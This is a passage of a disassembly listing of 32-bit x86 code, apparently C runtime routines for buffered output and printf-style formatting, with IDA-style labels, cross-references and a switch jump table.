loc_41F3EE jmp short loc_41F443 ; --------------------------------------------------------------------------- loc_41F404: ; CODE XREF: sub_41F3D2+26j mov esi, [ebx+eax*4] jmp short loc_41F42D ; --------------------------------------------------------------------------- loc_41F409: ; CODE XREF: sub_41F3D2+20j mov edi, eax push 20h shl edi, 2 call sub_41BC9B pop ecx mov ecx, dword_4D9A30 mov [edi+ecx], eax mov eax, dword_4D9A30 mov edi, [edi+eax] cmp edi, ebp jz short loc_41F443 mov esi, edi loc_41F42D: ; CODE XREF: sub_41F3D2+35j cmp esi, ebp jz short loc_41F443 or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41F443: ; CODE XREF: sub_41F3D2+12j ; sub_41F3D2+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41F3D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F44A proc near ; CODE XREF: sub_41BE6E+17p ; sub_41BE6E+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41F468 mov ecx, off_43A680 movzx eax, word ptr [ecx+eax*2] jmp short loc_41F4BA ; --------------------------------------------------------------------------- loc_41F468: ; CODE XREF: sub_41F44A+10j mov ecx, eax push esi mov esi, off_43A680 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41F48D and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41F496 ; --------------------------------------------------------------------------- loc_41F48D: ; CODE XREF: sub_41F44A+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41F496: ; CODE XREF: sub_41F44A+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_423BF4 add esp, 1Ch test eax, eax jnz short loc_41F4B6 leave retn ; --------------------------------------------------------------------------- loc_41F4B6: ; CODE XREF: sub_41F44A+68j movzx eax, word ptr [ebp+arg_0+2] loc_41F4BA: ; CODE XREF: sub_41F44A+1Cj and eax, [ebp+arg_4] leave retn sub_41F44A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F4BF proc near ; CODE XREF: sub_41C006+46p ; sub_41C100+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_41F5C8 test al, 40h jnz loc_41F5C8 test al, 1 jz short loc_41F4F7 and dword ptr [esi+4], 0 test al, 10h jz loc_41F5C8 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_41F4F7: ; CODE XREF: sub_41F4BF+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F531 cmp esi, offset dword_43AD98 jz short loc_41F51F cmp esi, offset dword_43ADB8 jnz short loc_41F52A loc_41F51F: ; CODE XREF: sub_41F4BF+56j push ebx call sub_423D3D test eax, eax pop ecx jnz short loc_41F531 loc_41F52A: ; CODE XREF: sub_41F4BF+5Ej push esi call sub_4238F7 pop ecx loc_41F531: ; CODE XREF: sub_41F4BF+4Ej ; sub_41F4BF+69j test word ptr [esi+0Ch], 108h push edi jz short loc_41F59E mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_41F561 push edi push eax push ebx call sub_422825 add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_41F594 ; --------------------------------------------------------------------------- loc_41F561: ; CODE XREF: sub_41F4BF+90j cmp ebx, 0FFFFFFFFh jz short loc_41F57C mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DAA60[eax*4] lea eax, [eax+ecx*8] jmp short loc_41F581 ; --------------------------------------------------------------------------- loc_41F57C: ; CODE XREF: sub_41F4BF+A5j mov eax, offset dword_43ACE0 loc_41F581: ; CODE XREF: sub_41F4BF+BBj test byte ptr [eax+4], 20h jz short loc_41F594 push 2 push 0 push ebx call sub_422633 add esp, 0Ch loc_41F594: ; CODE XREF: sub_41F4BF+A0j ; sub_41F4BF+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41F5B2 ; --------------------------------------------------------------------------- loc_41F59E: ; CODE XREF: sub_41F4BF+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_422825 add esp, 0Ch mov [ebp+arg_4], eax loc_41F5B2: ; CODE XREF: sub_41F4BF+DDj cmp [ebp+arg_4], edi pop edi jz short loc_41F5BE or dword ptr [esi+0Ch], 20h jmp short loc_41F5CD ; --------------------------------------------------------------------------- loc_41F5BE: ; CODE XREF: sub_41F4BF+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41F5D0 ; --------------------------------------------------------------------------- loc_41F5C8: ; CODE XREF: sub_41F4BF+10j ; sub_41F4BF+18j ... or al, 20h mov [esi+0Ch], eax loc_41F5CD: ; CODE XREF: sub_41F4BF+FDj or eax, 0FFFFFFFFh loc_41F5D0: ; CODE XREF: sub_41F4BF+107j pop esi pop ebx pop ebp retn sub_41F4BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F5D4 proc near ; CODE XREF: sub_41C006+29p ; sub_41C100+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_41FCED mov ecx, [ebp+var_10] xor edx, edx jmp short loc_41F608 ; --------------------------------------------------------------------------- loc_41F600: ; CODE XREF: sub_41F5D4+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_41F608: ; CODE XREF: sub_41F5D4+2Aj cmp [ebp+var_14], edx jl loc_41FCED cmp bl, 20h jl short loc_41F629 cmp bl, 78h jg short loc_41F629 movsx eax, bl mov al, byte ptr flt_427704[eax] and eax, 0Fh jmp short loc_41F62B ; --------------------------------------------------------------------------- loc_41F629: ; CODE XREF: sub_41F5D4+40j ; sub_41F5D4+45j xor eax, eax loc_41F62B: ; CODE XREF: sub_41F5D4+53j movsx eax, byte_427724[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_41FCDC ; default jmp off_41FCF5[eax*4] ; switch jump loc_41F649: ; DATA XREF: ___:off_41FCF5o or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041F642 case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F664: ; CODE XREF: sub_41F5D4+6Ej ; DATA XREF: ___:off_41FCF5o movsx eax, bl ; jumptable 0041F642 case 2 sub eax, 20h jz short loc_41F6A7 sub eax, 3 jz short loc_41F69E sub eax, 8 jz short loc_41F695 dec eax dec eax jz short loc_41F68C sub eax, 3 jnz loc_41FCDC ; default or [ebp+var_4], 8 jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F68C: ; CODE XREF: sub_41F5D4+A4j or [ebp+var_4], 4 jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F695: ; CODE XREF: sub_41F5D4+A0j or [ebp+var_4], 1 jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F69E: ; CODE XREF: sub_41F5D4+9Bj or byte ptr [ebp+var_4], 80h jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F6A7: ; CODE XREF: sub_41F5D4+96j or [ebp+var_4], 2 jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F6B0: ; CODE XREF: sub_41F5D4+6Ej ; DATA XREF: ___:off_41FCF5o cmp bl, 2Ah ; jumptable 0041F642 case 3 jnz short loc_41F6D8 lea eax, [ebp+arg_8] push eax call sub_41FDB3 test eax, eax pop ecx mov [ebp+var_20], eax jge loc_41FCDC ; default or [ebp+var_4], 4 neg eax loc_41F6D0: ; CODE XREF: sub_41F5D4+111j mov [ebp+var_20], eax jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F6D8: ; CODE XREF: sub_41F5D4+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_41F6D0 ; --------------------------------------------------------------------------- loc_41F6E7: ; CODE XREF: sub_41F5D4+6Ej ; DATA XREF: ___:off_41FCF5o mov [ebp+var_10], edx ; jumptable 0041F642 case 4 jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F6EF: ; CODE XREF: sub_41F5D4+6Ej ; DATA XREF: ___:off_41FCF5o cmp bl, 2Ah ; jumptable 0041F642 case 5 jnz short loc_41F712 lea eax, [ebp+arg_8] push eax call sub_41FDB3 test eax, eax pop ecx mov [ebp+var_10], eax jge loc_41FCDC ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F712: ; CODE XREF: sub_41F5D4+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F724: ; CODE XREF: sub_41F5D4+6Ej ; DATA XREF: ___:off_41FCF5o cmp bl, 49h ; jumptable 0041F642 case 6 jz short loc_41F757 cmp bl, 68h jz short loc_41F74E cmp bl, 6Ch jz short loc_41F745 cmp bl, 77h jnz loc_41FCDC ; default or byte ptr [ebp+var_4+1], 8 jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F745: ; CODE XREF: sub_41F5D4+15Dj or [ebp+var_4], 10h jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F74E: ; CODE XREF: sub_41F5D4+158j or [ebp+var_4], 20h jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F757: ; CODE XREF: sub_41F5D4+153j cmp byte ptr [edi], 36h jnz short loc_41F770 cmp byte ptr [edi+1], 34h jnz short loc_41F770 inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F770: ; CODE XREF: sub_41F5D4+186j ; sub_41F5D4+18Cj mov [ebp+var_30], edx loc_41F773: ; CODE XREF: sub_41F5D4+6Ej ; DATA XREF: ___:off_41FCF5o mov ecx, off_43A680 ; jumptable 0041F642 case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41F79F lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FD15 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_41F79F: ; CODE XREF: sub_41F5D4+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FD15 add esp, 0Ch jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41F7B7: ; CODE XREF: sub_41F5D4+6Ej ; DATA XREF: ___:off_41FCF5o movsx eax, bl ; jumptable 0041F642 case 7 cmp eax, 67h jg loc_41F9DF cmp eax, 65h jge loc_41F862 cmp eax, 58h jg loc_41F8C0 jz loc_41FA53 sub eax, 43h jz loc_41F883 dec eax dec eax jz short loc_41F858 dec eax dec eax jz short loc_41F858 sub eax, 0Ch jnz loc_41FBDE test word ptr [ebp+var_4], 830h jnz short loc_41F801 or byte ptr [ebp+var_4+1], 8 loc_41F801: ; CODE XREF: sub_41F5D4+227j ; sub_41F5D4+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_41F80E mov esi, 7FFFFFFFh loc_41F80E: ; CODE XREF: sub_41F5D4+233j lea eax, [ebp+arg_8] push eax call sub_41FDB3 test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41FA27 test ecx, ecx jnz short loc_41F836 mov ecx, off_43A89C mov [ebp+var_8], ecx loc_41F836: ; CODE XREF: sub_41F5D4+257j mov [ebp+var_24], 1 mov eax, ecx loc_41F83F: ; CODE XREF: sub_41F5D4+282j mov edx, esi dec esi test edx, edx jz loc_41FA1E cmp word ptr [eax], 0 jz loc_41FA1E inc eax inc eax jmp short loc_41F83F ; --------------------------------------------------------------------------- loc_41F858: ; CODE XREF: sub_41F5D4+212j ; sub_41F5D4+216j mov [ebp+var_34], 1 add bl, 20h loc_41F862: ; CODE XREF: sub_41F5D4+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41F946 mov [ebp+var_10], 6 jmp loc_41F954 ; --------------------------------------------------------------------------- loc_41F883: ; CODE XREF: sub_41F5D4+20Aj test word ptr [ebp+var_4], 830h jnz short loc_41F88F or byte ptr [ebp+var_4+1], 8 loc_41F88F: ; CODE XREF: sub_41F5D4+2B5j ; sub_41F5D4+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41F8D6 call sub_41FDD0 push eax lea eax, [ebp+var_248] push eax call sub_423D63 add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_41F8E9 mov [ebp+var_28], 1 jmp short loc_41F8E9 ; --------------------------------------------------------------------------- loc_41F8C0: ; CODE XREF: sub_41F5D4+1FBj sub eax, 5Ah jz short loc_41F8F7 sub eax, 9 jz short loc_41F88F dec eax jz loc_41FAB9 jmp loc_41FBDE ; --------------------------------------------------------------------------- loc_41F8D6: ; CODE XREF: sub_41F5D4+2C5j call sub_41FDB3 pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_41F8E9: ; CODE XREF: sub_41F5D4+2E1j ; sub_41F5D4+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_41FBDE ; --------------------------------------------------------------------------- loc_41F8F7: ; CODE XREF: sub_41F5D4+2EFj lea eax, [ebp+arg_8] push eax call sub_41FDB3 test eax, eax pop ecx jz short loc_41F938 mov ecx, [eax+4] test ecx, ecx jz short loc_41F938 test byte ptr [ebp+var_4+1], 8 jz short loc_41F929 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_41FBDE ; --------------------------------------------------------------------------- loc_41F929: ; CODE XREF: sub_41F5D4+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41FBDB ; --------------------------------------------------------------------------- loc_41F938: ; CODE XREF: sub_41F5D4+32Fj ; sub_41F5D4+336j mov eax, off_43A898 mov [ebp+var_8], eax push eax jmp loc_41F9D4 ; --------------------------------------------------------------------------- loc_41F946: ; CODE XREF: sub_41F5D4+29Dj jnz short loc_41F954 cmp bl, 67h jnz short loc_41F954 mov [ebp+var_10], 1 loc_41F954: ; CODE XREF: sub_41F5D4+2AAj ; sub_41F5D4:loc_41F946j ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43AC28 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41F9A6 cmp [ebp+var_10], 0 jnz short loc_41F9A6 lea eax, [ebp+var_248] push eax call off_43AC34 pop ecx loc_41F9A6: ; CODE XREF: sub_41F5D4+3BCj ; sub_41F5D4+3C2j cmp bl, 67h jnz short loc_41F9BD test esi, esi jnz short loc_41F9BD lea eax, [ebp+var_248] push eax call off_43AC2C pop ecx loc_41F9BD: ; CODE XREF: sub_41F5D4+3D5j ; sub_41F5D4+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41F9D3 or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41F9D3: ; CODE XREF: sub_41F5D4+3F0j push edi loc_41F9D4: ; CODE XREF: sub_41F5D4+36Dj call sub_41B960 pop ecx jmp loc_41FBDB ; --------------------------------------------------------------------------- loc_41F9DF: ; CODE XREF: sub_41F5D4+1E9j sub eax, 69h jz loc_41FAB9 sub eax, 5 jz loc_41FA8F dec eax jz loc_41FA7C dec eax jz short loc_41FA4C sub eax, 3 jz loc_41F801 dec eax dec eax jz loc_41FABD sub eax, 3 jnz loc_41FBDE mov [ebp+var_2C], 27h jmp short loc_41FA5A ; --------------------------------------------------------------------------- loc_41FA1E: ; CODE XREF: sub_41F5D4+270j ; sub_41F5D4+27Aj sub eax, ecx sar eax, 1 jmp loc_41FBDB ; --------------------------------------------------------------------------- loc_41FA27: ; CODE XREF: sub_41F5D4+24Fj test ecx, ecx jnz short loc_41FA34 mov ecx, off_43A898 mov [ebp+var_8], ecx loc_41FA34: ; CODE XREF: sub_41F5D4+455j mov eax, ecx loc_41FA36: ; CODE XREF: sub_41F5D4+46Fj mov edx, esi dec esi test edx, edx jz short loc_41FA45 cmp byte ptr [eax], 0 jz short loc_41FA45 inc eax jmp short loc_41FA36 ; --------------------------------------------------------------------------- loc_41FA45: ; CODE XREF: sub_41F5D4+467j ; sub_41F5D4+46Cj sub eax, ecx jmp loc_41FBDB ; --------------------------------------------------------------------------- loc_41FA4C: ; CODE XREF: sub_41F5D4+425j mov [ebp+var_10], 8 loc_41FA53: ; CODE XREF: sub_41F5D4+201j mov [ebp+var_2C], 7 loc_41FA5A: ; CODE XREF: sub_41F5D4+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41FAC4 mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41FAC4 ; --------------------------------------------------------------------------- loc_41FA7C: ; CODE XREF: sub_41F5D4+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41FAC4 or byte ptr [ebp+var_4+1], 2 jmp short loc_41FAC4 ; --------------------------------------------------------------------------- loc_41FA8F: ; CODE XREF: sub_41F5D4+417j lea eax, [ebp+arg_8] push eax call sub_41FDB3 test byte ptr [ebp+var_4], 20h pop ecx jz short loc_41FAA8 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_41FAAD ; --------------------------------------------------------------------------- loc_41FAA8: ; CODE XREF: sub_41F5D4+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_41FAAD: ; CODE XREF: sub_41F5D4+4D2j mov [ebp+var_28], 1 jmp loc_41FCDC ; default ; --------------------------------------------------------------------------- loc_41FAB9: ; CODE XREF: sub_41F5D4+2F7j ; sub_41F5D4+40Ej or [ebp+var_4], 40h loc_41FABD: ; CODE XREF: sub_41F5D4+432j mov [ebp+var_C], 0Ah loc_41FAC4: ; CODE XREF: sub_41F5D4+491j ; sub_41F5D4+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41FAD6 lea eax, [ebp+arg_8] push eax call sub_41FDC0 pop ecx jmp short loc_41FB17 ; --------------------------------------------------------------------------- loc_41FAD6: ; CODE XREF: sub_41F5D4+4F4j test byte ptr [ebp+var_4], 20h jz short loc_41FAFD test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FAF2 call sub_41FDB3 pop ecx movsx eax, ax loc_41FAEF: ; CODE XREF: sub_41F5D4+527j ; sub_41F5D4+539j cdq jmp short loc_41FB17 ; --------------------------------------------------------------------------- loc_41FAF2: ; CODE XREF: sub_41F5D4+510j call sub_41FDB3 pop ecx movzx eax, ax jmp short loc_41FAEF ; --------------------------------------------------------------------------- loc_41FAFD: ; CODE XREF: sub_41F5D4+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FB0F call sub_41FDB3 pop ecx jmp short loc_41FAEF ; --------------------------------------------------------------------------- loc_41FB0F: ; CODE XREF: sub_41F5D4+531j call sub_41FDB3 pop ecx xor edx, edx loc_41FB17: ; CODE XREF: sub_41F5D4+500j ; sub_41F5D4+51Cj test byte ptr [ebp+var_4], 40h jz short loc_41FB38 test edx, edx jg short loc_41FB38 jl short loc_41FB27 test eax, eax jnb short loc_41FB38 loc_41FB27: ; CODE XREF: sub_41F5D4+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_41FB3C ; --------------------------------------------------------------------------- loc_41FB38: ; CODE XREF: sub_41F5D4+547j ; sub_41F5D4+54Bj ... mov esi, eax mov edi, edx loc_41FB3C: ; CODE XREF: sub_41F5D4+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_41FB45 and edi, 0 loc_41FB45: ; CODE XREF: sub_41F5D4+56Cj cmp [ebp+var_10], 0 jge short loc_41FB54 mov [ebp+var_10], 1 jmp short loc_41FB58 ; --------------------------------------------------------------------------- loc_41FB54: ; CODE XREF: sub_41F5D4+575j and [ebp+var_4], 0FFFFFFF7h loc_41FB58: ; CODE XREF: sub_41F5D4+57Ej mov eax, esi or eax, edi jnz short loc_41FB62 and [ebp+var_1C], 0 loc_41FB62: ; CODE XREF: sub_41F5D4+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_41FB68: ; CODE XREF: sub_41F5D4+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_41FB78 mov eax, esi or eax, edi jz short loc_41FBB3 loc_41FB78: ; CODE XREF: sub_41F5D4+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_41DC20 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_41DBB0 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41FBA9 add ebx, [ebp+var_2C] loc_41FBA9: ; CODE XREF: sub_41F5D4+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_41FB68 ; --------------------------------------------------------------------------- loc_41FBB3: ; CODE XREF: sub_41F5D4+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_41FBDE mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_41FBD1 test eax, eax jnz short loc_41FBDE loc_41FBD1: ; CODE XREF: sub_41F5D4+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41FBDB: ; CODE XREF: sub_41F5D4+35Fj ; sub_41F5D4+406j ... mov [ebp+var_C], eax loc_41FBDE: ; CODE XREF: sub_41F5D4+21Bj ; sub_41F5D4+2FDj ... cmp [ebp+var_28], 0 jnz loc_41FCDC ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41FC16 test bh, 1 jz short loc_41FBFB mov [ebp+var_16], 2Dh jmp short loc_41FC0F ; --------------------------------------------------------------------------- loc_41FBFB: ; CODE XREF: sub_41F5D4+61Fj test bl, 1 jz short loc_41FC06 mov [ebp+var_16], 2Bh jmp short loc_41FC0F ; --------------------------------------------------------------------------- loc_41FC06: ; CODE XREF: sub_41F5D4+62Aj test bl, 2 jz short loc_41FC16 mov [ebp+var_16], 20h loc_41FC0F: ; CODE XREF: sub_41F5D4+625j ; sub_41F5D4+630j mov [ebp+var_1C], 1 loc_41FC16: ; CODE XREF: sub_41F5D4+61Aj ; sub_41F5D4+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41FC36 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FD4A add esp, 10h loc_41FC36: ; CODE XREF: sub_41F5D4+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_41FD7B add esp, 10h test bl, 8 jz short loc_41FC68 test bl, 4 jnz short loc_41FC68 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_41FD4A add esp, 10h loc_41FC68: ; CODE XREF: sub_41F5D4+67Bj ; sub_41F5D4+680j cmp [ebp+var_24], 0 jz short loc_41FCAF cmp [ebp+var_C], 0 jle short loc_41FCAF mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_41FC7D: ; CODE XREF: sub_41F5D4+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_423D63 pop ecx test eax, eax pop ecx jle short loc_41FCC4 lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_41FD7B add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_41FC7D jmp short loc_41FCC4 ; --------------------------------------------------------------------------- loc_41FCAF: ; CODE XREF: sub_41F5D4+698j ; sub_41F5D4+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_41FD7B add esp, 10h loc_41FCC4: ; CODE XREF: sub_41F5D4+6BCj ; sub_41F5D4+6D9j test byte ptr [ebp+var_4], 4 jz short loc_41FCDC ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FD4A add esp, 10h loc_41FCDC: ; CODE XREF: sub_41F5D4+68j ; sub_41F5D4+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_41F600 loc_41FCED: ; CODE XREF: sub_41F5D4+1Fj ; sub_41F5D4+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_41F5D4 endp ; --------------------------------------------------------------------------- off_41FCF5 dd offset loc_41F773 ; DATA XREF: sub_41F5D4+6Er dd offset loc_41F649 ; jump table for switch statement dd offset loc_41F664 dd offset loc_41F6B0 dd offset loc_41F6E7 dd offset loc_41F6EF dd offset loc_41F724 dd offset loc_41F7B7 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FD15 proc near ; CODE XREF: sub_41F5D4+1BDp ; sub_41F5D4+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_41FD2E mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41FD39 ; --------------------------------------------------------------------------- loc_41FD2E: ; CODE XREF: sub_41FD15+9j push ecx push [ebp+arg_0] call sub_41F4BF pop ecx pop ecx loc_41FD39: ; CODE XREF: sub_41FD15+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_41FD46 or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41FD46: ; CODE XREF: sub_41FD15+2Aj inc dword ptr [eax] pop ebp retn sub_41FD15 endp ; =============== S U B R O U T I N E ======================================= sub_41FD4A proc near ; CODE XREF: sub_41F5D4+65Ap ; sub_41F5D4+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_41FD78 mov esi, [esp+8+arg_C] loc_41FD5B: ; CODE XREF: sub_41FD4A+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41FD15 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41FD78 mov eax, edi dec edi test eax, eax jg short loc_41FD5B loc_41FD78: ; CODE XREF: sub_41FD4A+Bj ; sub_41FD4A+25j pop edi pop esi retn sub_41FD4A endp ; =============== S U B R O U T I N E ======================================= sub_41FD7B proc near ; CODE XREF: sub_41F5D4+670p ; sub_41F5D4+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_41FDAF mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_41FD91: ; CODE XREF: sub_41FD7B+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41FD15 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_41FDAF mov eax, ebx dec ebx test eax, eax jg short loc_41FD91 loc_41FDAF: ; CODE XREF: sub_41FD7B+Cj ; sub_41FD7B+2Bj pop edi pop esi pop ebx retn 